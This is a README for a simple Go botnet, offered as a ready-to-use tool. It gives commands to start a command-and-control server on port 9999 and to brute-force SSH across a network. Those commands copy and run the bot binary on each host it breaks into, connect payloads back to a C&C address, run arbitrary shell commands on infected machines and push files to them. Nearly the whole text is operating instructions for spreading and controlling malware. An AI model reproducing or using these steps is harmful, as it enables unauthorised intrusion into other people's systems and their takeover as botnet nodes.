Simple botnet written in GO. It features a command and control over cli and a botnet payload that communicates to the C&C over tcp.

Compile from the botnet/cmd/botnet directory.

• Run the C&C:

botnet listen

This starts up a C&C that listens on default port 9999.

• Attack a machine to get the botnet on the machine. The only supported attack right now is brute forcing SSH

botnet -ufile /paht/to/usernames/file -pfile /path/to/passwords/file -bindir /path/to/botnet/bin/dir attack ssh

This will scan all the ips on the network find which ips have port 22 open and attempt to brute force its way in. Once it has access it will SCP the botnet binary over and execute the botnet client to connect to our command and control center

• Connect a payload to the C&C:

botnet -target 192.168.2.2 -port 9999 connect

This will start a botnet payload that connects to the C&C on port 9999.

• Now that we have a payload connected to our C&C we can run a view commands. You'll see the C&C prompt <CC:#>

show all payloads connected to C&C:

<CC:#> show

This will return the payload ids and addresses

ID: 0 Address: 127.0.0.1:64635
ID: 1 Address: 127.0.0.1:64634

• To communicate with the payload use the use command followed by the payloads id:

<CC:#> use 0

You will notice now your prompt is changed to <PL:#>

• Execute a command in the remote server just type in a command:

<PL:#> ls -l

This will return the directory where the payload is running

• Send a file to the payload:

<PL:#> u: /path/to/file

This will send the specified file to the payload

• Exit out of the payload and go back to the main C&C

<PL:#> exit

You should see a message saying payload exiting and the prompt should be back to <CC#>
